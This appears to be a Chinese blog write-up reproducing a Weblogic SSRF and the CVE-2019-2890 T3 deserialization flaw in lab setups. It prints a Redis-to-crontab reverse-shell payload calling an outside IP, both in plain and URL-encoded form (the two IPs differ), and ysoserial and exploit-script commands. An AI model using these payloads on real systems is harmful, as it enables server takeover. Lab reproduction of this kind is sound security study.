头图:https://cdn.naraku.cn/imgs/Leak/Weblogic/Weblogic-0.jpg
摘要:2个关于Weblogic的漏洞。
Weblogic-SSRF漏洞
环境准备
- 这里直接使用Vulhub/weblogic/ssrf
使用以下命令启动漏洞环境,访问
http://ip:7001/uddiexplorer/
,可以看到uddiexplorer应用即搭建成功。$ docker-compose up -d # 启动
漏洞复现
该漏洞位于
uddiexplorer/SearchPublicRegistries.jsp
,点击左侧Search Public Registries
功能来到SearchPublicRegistries.jsp
页面,点击Search
并使用Burp抓包- 将其中的
operator
参数修改为想要探测的http://IP:Port
,如[http://127.0.0.1:7001](http://127.0.0.1:7001)
- 再访问一个不存在的端口进行测试
这里有几种返回结果,因此可以根据不同的返回结果去探测内网相关信息
这一步的时候发现Redis服务一直不能正常启动,报
Exited (139)
错误,根据Issue #46所说可能是Kali下Docker的兼容性问题,最后在VPS上重新搭建Vulhub进行复现
首先通过前面的SSRF漏洞探测内网中是否存在Redis服务(默认6379端口),Docker环境的网段一般是
172.*
。这里复现测试所以直接进入Redis对应的容器中查看IP$ docker ps -a # 查看容器ID
$ docker exec -it <容器ID> bash # 进入容器
这里可以看到是
172.19.0.2
,探测一下6379
端口
发送Redis命令,将反弹Shell脚本写入
/etc/crontab
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/47.113.106.101/20000 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
将Payload进行URL编码,然后直接拼接到URL后,其中
%0d0a
为换行符operator=http://172.19.0.2:6379/test
%73%65%74%20%31%20%22%5c%6e%5c%6e%5c%6e%5c%6e%2a%20%2a%20%2a%20%2a%20%2a%20%72%6f%6f%74%20%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%30%2e%31%2f%32%30%30%30%30%20%30%3e%26%31%5c%6e%5c%6e%5c%6e%5c%6e%22%0d%0a%63%6f%6e%66%69%67%20%73%65%74%20%64%69%72%20%2f%65%74%63%2f%0d%0a%63%6f%6e%66%69%67%20%73%65%74%20%64%62%66%69%6c%65%6e%61%6d%65%20%63%72%6f%6e%74%61%62%0d%0a%73%61%76%65
test
可以发现攻击机成功接到Shell
参考
- Weblogic-SSRF漏洞复现
Weblogic-反序列化漏洞
漏洞简介
Weblogic在利用T3协议进行远程资源加载调用时,默认会进行黑名单过滤以保证反序列化安全。该漏洞通过T3协议发送恶意的反序列化数据绕过了Weblogic的黑名单,成功反序列化执行任意命令。但该漏洞利用条件较高,官方也归类为需要身份认证。
这个漏洞需要满足以下两个条件:
- Weblogic开启T3协议
- 可以获取到
SerializedSystemIni.dat
文件
影响版本
靶机:Win 7(部署Weblogic),
192.168.8.37
-
漏洞复现
攻击机下载漏洞利用工具SukaraLin/CVE-2019-2890
- 在靶机的
weblogic
项目中找到SerializedSystemIni.dat
文件,复制到工具目录的security
目录下。文件中存在一个加密的Key,这个Key实际上每个weblogic都不一样,所以官方给这个漏洞评价为授权状态下Getshell。
- 将
weblogic/wsee/jaxws/persistence/PersistentContext.java
中的getObject
修改为攻击机IP地址和端口
将
ysoserial.jar
移动到libs
目录,执行以下命令,这里弹个计算器$ java -cp ysoserial.jar ysoserial.exploit.JRMPListener 8000 Jdk7u21 "calc.exe"
运行
Poc.java
生成poc.ser
序列化文件。(这一步我是在win10环境下编译的,注意需要复制一份SerializedSystemIni
文件以及修改PersistentContext.java
的IP地址端口)
最后在攻击机中运行以下命令:
$ python weblogic.py <靶机IP> <靶机端口> poc.ser
修复建议
如果不依赖T3协议进行JVM通信,可禁用T3协议
- 排查弱口令
-
参考
- Weblogic t3反序列化漏洞(CVE-2019-2890)分析
- Weblogic-T3-CVE-2019-2890-Analysis
- SukaraLin/CVE-2019-2890